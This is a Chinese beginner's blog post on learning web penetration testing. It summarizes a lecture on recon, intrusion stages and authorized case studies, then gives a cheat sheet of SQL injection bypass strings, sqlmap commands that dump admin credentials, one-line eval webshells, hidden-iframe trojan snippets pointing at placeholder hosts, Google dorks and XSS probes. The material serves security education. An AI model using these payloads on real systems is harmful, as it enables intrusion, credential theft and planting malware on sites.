这是作者的安全入门系列,主要分享初学者如何入门网络安全、系统安全、AI安全,并回答博友遇到的基础问题和在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。
本文将分析i春秋YOU老师的小白渗透之路,并结合作者系列文章总结Web渗透技术点,包括安全行业和职业介绍、渗透技术整体框架(含信息收集、外网渗透、权限维持与提升、内网渗透)、常见技术手段、渗透学习之道、Web渗透基础技术等知识。基础性文章,非常适合网络安全和web渗透的初学者学习,希望对您有所帮助~
文章目录:
-
一.小白渗透成长之路
-
1.行业和职业介绍
-
2.渗透技术整体框架
-
(1) 信息收集
-
(2) 外网入口
-
(3) 权限维持与提升
-
(4) 内网渗透
-
-
3.常见的技术手段
-
(1) 常见技术概念
-
(2) 历史案例分析1
-
(3) 历史案例分析2
-
(4) 历史案例分析3和4
-
-
4.渗透学习之道
-
(1) 如何学习
-
(2) 如何实践
-
-
-
二.Web渗透基础技术
-
三.总结
一.小白渗透成长之路
这是作者2月27日学习i春秋YOU老师直播分享的渗透技术知识,本次分享的主题是《小白的渗透技术成长之路》。主讲人YOU老师,干货满满,全面剖析了渗透测试的工作、知识体系、学习路径。确实让我受益匪浅,非常感谢老师,也推荐大家去i春秋学习相关的视频。
-
视频录播地址:https://www.ichunqiu.com/open/66249
本次课程主要是告诉初学者如何学习渗透技术,核心内容包括:
-
网络安全行业态势
-
渗透技术整体框架
-
常见的技术手段
-
渗透学习之道
PS:这篇文章主要是基于i春秋老师直播的分享,结合作者之前系列文章的知识点及理解讲解,非常适合想学习网络安全的读者,并且有相关案例及学习方法推荐。如果有侵权立刻删除。
1.行业和职业介绍
网络安全从业人员的年薪在10万-30万以上的占75%以上。任何行业,只要我们技术过硬,能为企业带来价值,也会有相应的回报。希望初学者切勿心急气躁,一定要扎实学习,多实践多编程,加油~
渗透测试技术包括:评估加固、安全攻防、安全运维和等保测评,其中重点是安全攻防和安全运维。
-
安全攻防:Web、内网、移动应用端、IoT、工控安全...
-
安全运维:系统、网络、安全设备、分析....
人才岗位如下图所示:
适合人群:
-
感兴趣并喜欢
-
想换个行业,追求更好玩的工作
-
不满足当前行业的发展,想要更高的薪水
前文推荐:
2.渗透技术整体框架
渗透测试是通过模拟恶意黑客的攻击,来评估计算机网络系统安全的一种评估方法。渗透测试主要分为黑盒测试和白盒测试两种方式。不同的人有不同的框架,这里YOU老师将渗透技术划分为信息收集、外网入口、权限提升与维持、内网渗透四部分。
-
黑盒测试:仅给出URL或网站,对其进行渗透测试或攻击
-
白盒测试:给出网站账号密码或服务器账号密码,进行渗透测试
(1) 信息收集
信息收集包括技术信息收集、人员信息收集、组织信息收集。其中人员和组织信息收集可以通过公开情报收集领域知识实现,比如电话诈骗、商业JD、社会工程学等利用人员弱点识别。由于安全的本质是人与人之间的对抗(攻击者vs防御者),所以就会涉及人员信息和组织信息。
我们重点关注技术信息收集部分,识别一个网站或服务器存在哪些技术漏洞、弱点。技术信息收集包括:
-
端口信息:Nmap扫描
8080端口
Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具 -
IP信息:C段扫描、撒旦、Zoomeye、fofa等
183.xxx.xxx.174
Python攻防之多线程、C段扫描和数据库编程 -
域名信息收集:二级域名爆破、域名注册信息
www.baidu.com
Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集 -
应用识别:网站CMS识别、目录扫描、信息泄露识别(git、svn等)
网站管理系统
Python攻防之构建Web目录扫描器及ip代理池
hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法
(2) 外网入口
外网入口表示从外部网络进入内部网络的通道。外网入口讲究“见缝插针,伺机而动”,涉及内容包括:
-
Web服务器
-
V*N服务器
-
邮箱服务器
-
APK逆向
-
WIFI接口
-
其他
举个例子,某小偷想进入公司进行盗窃,小偷怎么进入公司呢?可以通过门、窗或通风管道。同样,在虚拟网络中,如果你想从外界互联网中进入公司内部网络,你也需要找到相应的通道。对于一个公司网络来说,它对外的通道有哪些呢?第一个是Web服务器,即大家访问的网站;接着是V*N服务器和邮箱服务器;手机APK逆向能找到手机APP与哪些服务进行交互;WIFI接口表示家庭无线网络同时连接手机和电脑时,它们共同组成了一个内部局域网,而附近的人能搜索到该WIFI网络并爆破其密码,从而植入恶意代码;最后是其他知识。
外网入口涉及技术弱点识别,核心技术及作者的相关博客如下:
-
注入
从数据库原理学习网络攻防及防止SQL注入
虚拟机VMware+Kali安装入门及Sqlmap基本用法
Sqlmap基础用法、CTF实战及请求参数设置 -
文件上传
文件上传漏洞和Caidao入门及防御原理(一)
文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
文件上传漏洞之绕狗一句话原理和绕过安全狗(六) -
XSS
XSS跨站脚本攻击原理及代码攻防演示(一)
-
CSRF
CSRF跨站请求伪造 - 时光偏执
-
XXE
XXE XML外部实体注入 - bylfsj
-
SSRF
Web安全 SSRF服务端请求伪造 - 小白安全
-
信息泄露
Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
-
弱口令
Python攻防之弱口令、自定义字典生成及网站暴库防护
-
社会工程学
社会工程学之基础概念、IP获取、IP物理定位、文件属性
(3) 权限维持与提升
权限维持与提升讲究“明修栈道,暗度陈仓”,具体技术包括:
-
权限提升
当我们从外部网络进入内网时,通常是低级权限的,此时需要将低权限提升至高权限,比如普通权限提升至管理员权限。
-
权限维
通过外网入口进入到公司内网之后,接下来应该巩固我们的成果,或者设置一个后门方便我们下次直接从外部网络进入内网,这称之为权限维护。
-
Web后门
-
系统后门
巩固权限之后,我们就开始进行内网渗透。
(4) 内网渗透
什么是内网?比如大家连在同一个WIFI下,就可以称为内网。换句话说,从外部网络不能直接访问的网络就称之为内网。比如,在公司文件服务器搭建了一些资源,外部互联网的人是不能直接访问这些资源的。
-
内网信息收集
-
工作组和域
-
横向扩展和纵向扩展
接着我们来看一张网络拓扑图,最常见的企业网络。由图可知,一个企业网络对外通常会存在一个防火墙,防火墙中有个路由器,路由器接入很多电脑,包括三块区域(DMZ区、核心业务区、办公区),DMZ区放置一些对安全性不高的服务器,比如邮件、门户网站服务器等;核心业务区存放企业核心数据库、OA系统、ERP系统;办公区是企业员工办公网络。
假设现在一名白帽子需要攻击测试这个内部网络,想直接访问核心业务区的数据库是不可能的,而公司在DMZ区提供了对外的Web服务器,能够让你直接在互联网里面访问。
-
第一步,信息收集及技术性弱点识别,通过技术性手段拿下公司DMZ区的门户网站这台服务器。
-
第二步,通过门户网站服务器进入到公司的内部网络,我们称之为跳板。接着进行权限的维持和提升,下次再进行攻击时不需要重新收集信息,以门户网站作为据点,对内网进行渗透。
-
第三步,内网渗透并横纵向扩展获取相关信息。
总之,兵无常势,水无常形。Web渗透测试中,信息收集是关键,占据绝大部分工作。而且它们不一定按照信息收集、外网入口、权限维持与提升、内网渗透的顺序执行,会根据具体情况而变化。
3.常见的技术手段
(1) 常见技术概念
选择目标
-
对应用:包括对外网站、对外服务器、公众号&小程序
-
对人:包括V*N、邮箱、Github、云盘
-
对办公区:包括营业厅(网线插拔-物理黑客)、办公中心、数据中心
攻击方法
-
应用层漏洞攻击
SQL注入、文件上传、XSS -
系统层漏洞攻击
Windows漏洞利用、0day漏洞、方程式组织武器
-
供应链攻击
涉及推送攻击(更新推送 广告推送 插件推送)、设置后门、开发工具和开发环境、源代码存储库、镜像感染、假冒产品。其攻击场景是通过攻击软件开发商控制目标,通过攻击开发者下载软件入口,以开发者开发程序植入为目标,从而感染整条供应链。
举个例子,一个公司的网络安全做得再好,补丁杀毒防火墙都设置,但如果它采购的服务器或安装的软件,从上游供应商购买时就被植入了木马或后门,是不是很可怕,这种攻击很常见。 -
信任源攻击
涉及托管IT提供商(域名 云主机 云办公)、基础办公系统提供商(内部OA 财务 项目管理 代码管理 邮件等系统开发)、IT承包商(V*N联入 源代码)。攻击场景是通过攻击托管IT提供商控制目标,攻击域名托管商、云主机托管商、云办公提供商(文档 网盘 邮件),从而控制权限、劫持挂马、获取敏感信息等。同时,也可以通过攻击基础办公系统提供商。
举个例子,通过外网业务层的应用漏洞进行攻击获取网站权限,并且通过网站权限进行内网漫游(漫游即对内部网络进行扫描渗透)。
-
水坑攻击
-
鱼叉式钓鱼攻击
-
社会工程学
-
物理攻击
-
无线攻击
-
可移动媒介复制/摆渡攻击
(2) 历史案例分析1
该案例均是授权情况下进行的渗透测试,切勿进行非法渗透或攻击。
由该网络拓扑图可知,正常访问时会通过CDN(内容分发转网络)、WAF(应用防护系统)等安全软件,从而过滤并保护我们企业的网络安全。白帽子需要想一个办法:能不能让我们的访问不经过CDN和WAF呢?
答案是可以的。
-
第一步,全面收集信息
通过全面信息收集,找到与目标相关的信息网站。 -
第二步,寻找有用线索
深入分析并发现网站源码内存在真实IP泄露。
-
第三步,进一步搜集和利用有用信息
针对真实IP开展端口扫描,找到对应的端口和服务BBS。该网站存在一个信息泄露的漏洞,通过目录扫描找到泄露的账号密码,即在BBS的日志内搜索并成功解密出用户账号和密码信息。
-
第四步,利用有用信息进入内网
登录BBS系统,发现并利用跟帖上传处漏洞,上传shell(网页后门)成功拿下该服务器system权限,进入内网。system权限是最高权限,该案例免去了权限维持与提升步骤。
-
第五步,内网横向扩展
通过弱口令、历史漏洞等方式,成功拿下内网多台服务器权限,并从中找到了1个涉及多个目标服务器的密码本,此时已成功进入了目标网络的核心业务网段。结合前期收集到的信息,成功登录目标重大项目库的源码服务器,针对源码进行深入分析,从配置文件中找到了系统运维邮件账号和密码,并成功进入运维邮箱。 -
第六步,作为白帽子,立刻告诉该网站管理员并对网站进行维护,提升安全等级及修复漏洞补丁
(3) 历史案例分析2
通过这些案例更希望大家了解渗透测试的基本流程,具体细节需要大家去扎实学习,实践锻炼。接着分享第二个案例,比较复杂,它多了一个域控区域。
-
第二步,充分利用跳板
通过内网跳板进行横向渗透,成功登录到调度管理平台后台,并能够访问到内部多个关键系统。
-
第三步,充分利用跳板
利用Windows永恒之蓝漏洞成功获取到主键主机(客服的桌面系统)的System权限,通过Windows登录密码获取成功登录到10.x.x.70,10.x.x.73两台机器。整合之前获取的信息,成功登录到10.x.x.57主机,通过主机可以监控到客户服务中心的相关工作业务。
-
第四步,扩大渗透范围,突破核心应用
内网横向扩展渗透,成功获取 CB 域控制器权限,可以对登录CB内的任意机器,下发域策略,抓取域内用户hash值。收集和整理前期成果,发动深入攻击,成功拿到核心应用(综合查询、交易信息查询等)的查询权限,获取到全国范围相关的重要数据(证件号等)。
(4) 历史案例分析3和4
简单讲解后面的两个案例,案例3通过信息收集找到github(代码托管平台)上面的目标信息,即相关公司的内部VN账号、密码,再通过VN连接企业服务器。直接从信息收集进入到内网渗透。
案例4是信任源攻击,邮箱系统提供商给各部门提供服务,通过拿下邮件系统后,成功获取各个公司的关键性数据。信任源即表示政企、学校非常信任邮件系统提供商,如果我们直接怼提供商进行渗透测试,从而进入目标网络。
4.渗透学习之道
(1) 如何学习
下图是十五年前的渗透测试套路,胡萝卜、阿A注入和明小子是很多年前人手必备的工具。
学习渗透测试需要:
-
夯实基础:目前整个安全圈比较浮躁,大家一定要打好基础
-
深入研究:解决自己产生的问题,比如SQL注入是什么,怎么利用SQL注入,再百度谷歌深入
-
分享交流:学会分享,去FreeBuf、看雪、我爱PO解、CSDN等论坛学习,认识安全大牛,加入相关群
-
不停实践:实践是检验真理的唯一标注,切记别做非法攻击或恶意破坏
作者是计算机专业出身,也深知网络安全或系统安全涉及面非常广,也经常会遇到各种问题。我一方面是学会百度谷歌,另一方面积极通过论坛寻求帮助,同时也会在CSDN、B站、公众号、i春秋、看雪、FreeBuf等学习安全知识。确实难,但要去克服~
下图是计算机专业常见的课程表,包括四个层面:
-
硬件:计算机组成原理
-
系统:操作系统(Windows、Linux、Android、Mac)
-
网络:计算机网络
-
应用:PHP、HTML、JavaScript、Java、Python、shell脚本
学习操作系统之前,需要具备C语言基础,需要知道C语言是如何转换成汇编语言的。推荐《逆向工程权威指南》第一册,重点讲解C语言在Linux、Windows环境如何生成汇编代码,接着学习逆向知识,最后学习操作系统。
为什么渗透测试要学习操作系统呢?工作之后你会发现,前几年学技术突飞猛进,但之后会寸步难行,因为基础没有打好,而操作系统、网络这些都是基础,而且内外网与他们息息相关。
计算机网络选择一本学习即可,当年我的教材就是谢希仁老师的《计算机网络》。注意,如果你做渗透测试,前期没学好操作系统好能够理解,但计算机网络是渗透测试关键,一定结合实战学好它。
渗透测试应用层涉及各种编程语言,推荐大家先学习PHP,之后学习Python基础语法,接着HTML和JavaScript,其中JavaScript对于Web渗透也是非常重要的,比如XSS等。语言是永远学不完的,了解之后可以结合实例巩固再深入学习。
接着推荐一些相关书籍:
-
《PHP和MySQL Web开发》机械工业出版社
-
《鸟哥的Linux私房菜 基础学习篇》人民邮电出版社
-
《Google Hacking技术手册》机械工业出版社
-
《XSS跨站脚本:攻击剖析与防御》人民邮电出版社
-
《SQL注入攻击与防御 第二版》清华大学出版社
-
《黑客大曝光:Web应用程序安全》机械工业出版社
-
[OWASP_TOP10] 熟悉和理解10大漏洞
总之,破万卷书。
知识面,决定看到的攻击面有多广。知识链,决定发动的杀伤链有多深。
(2) 如何实践
常用工具很多,结合具体场景选择利用。
-
BurpSuite
-
Sqlmap
-
Metasploit
-
Nmap
-
AWVS
-
Cohalt Strike
如何进行实践呢?推荐大家可以从以下四个方面进行渗透实践。
-
CTF
-
SRC
-
在线靶场
-
自建环境
总结,业精于勤荒于嬉。
-
渗透是一门手艺活,门槛并不高,任何人都能学。
-
既然是手艺活,想要学号,那就要花时间和精力去专研,才能熟能生巧。
-
师傅领进门,修行在个人。
-
兴趣是可以培养的,会做而且做得好,就会有成就感,有了成就感就会产生兴趣。
再次感谢i春秋YOU老师,推荐大家去他们官网学习。也希望大家喜欢这篇文章,接着第二部分将介绍Web渗透的基础技术,包含一些专业术语。
二.Web渗透基础技术
单引号(')
and 1=1
and 1=2
+and+1=1
+and+1=2
%20and%201=1
%20and%201=2
admin
123456
'or'='or'
'or''='
'or'='--
"or "a"="a
or =1=1 --
'or'='
1 or '1'='1'=1
'OR 1=1%00
-
判断是否可注
sqlmap.py -u “http://192.168.226.129/shownews.asp” --cookie “id=234” -
爆数据库
sqlmap.py -u “http://192.168.226.129/shownews.asp” --cookie “id=234” --dbs -
爆表
sqlmap.py -u “http://192.168.226.129/shownews.asp” --cookie “id=234” --tables -
爆字段
sqlmap.py -u “http://192.168.226.129/shownews.asp” --cookie “id=234” --columns -D “masterdb” -T “admin” -
爆账号密码
sqlmap.py -u “http://192.168.226.129/shownews.asp” --cookie “id=234” --dump -D “masterdb” -T “admin” -C “username,password”
-
表名 and exists (select * from 表名)
-
列名 and (select count(列名) from 表名)>0
-
长度 and (select top 1 len(username) from admin)>0
-
内容 and (select top 1 asc(mid(username,1,1)) from admin)>100
-
字段 order by(猜字段)
-
段数 and 1=2 union select (字段数)
-
位置 and 1=2 union selsect from(位置)
-
USER()
-
VERSION()<数据库版本>
-
database()<数据库名称>
-
HTML挂马
<html>
<iframe src="http://www.xxxx.com/2.htm" width="0" height="0" frameborder="0"></iframe>
</html>
-
Java挂马
<script language=javascript>
window.open("http://www.xxx.com/2.htm","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");
</script>
asp:
<%execute(request("value"))%>
php:
<?php @eval($_POST[value]);?>
aspx:
<%eval(Request.Item["value"])%>
-
admin
-
admin/admin.asp
-
admin/login.asp
-
.admin_login.asp
-
manage/login.asp
-
login.asp
-
logon,user.asp
-
admin/index.asp
-
inurl:asp?id=
-
inurl:show.asp
-
inurl:went.asp
-
inurl:jsp?id=
-
inurl:php?id=
-
inurl:flasher_list.asp
-
site:xxxx.comintext:管理
-
site:xxxx.cominurl:login
-
inurl:bbsdata
-
filetype:mdb
<script>alert("跨站开始")</script>
<script>alert("document.cookie")</script>
<script>window.open(http://www.baidu.com)</script>
三.总结
原文始发于微信公众号(娜璋AI安全之家):[初学者如何入门安全] 一.i春秋YOU老师分享小白渗透之路笔记及Web渗透技术总结
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论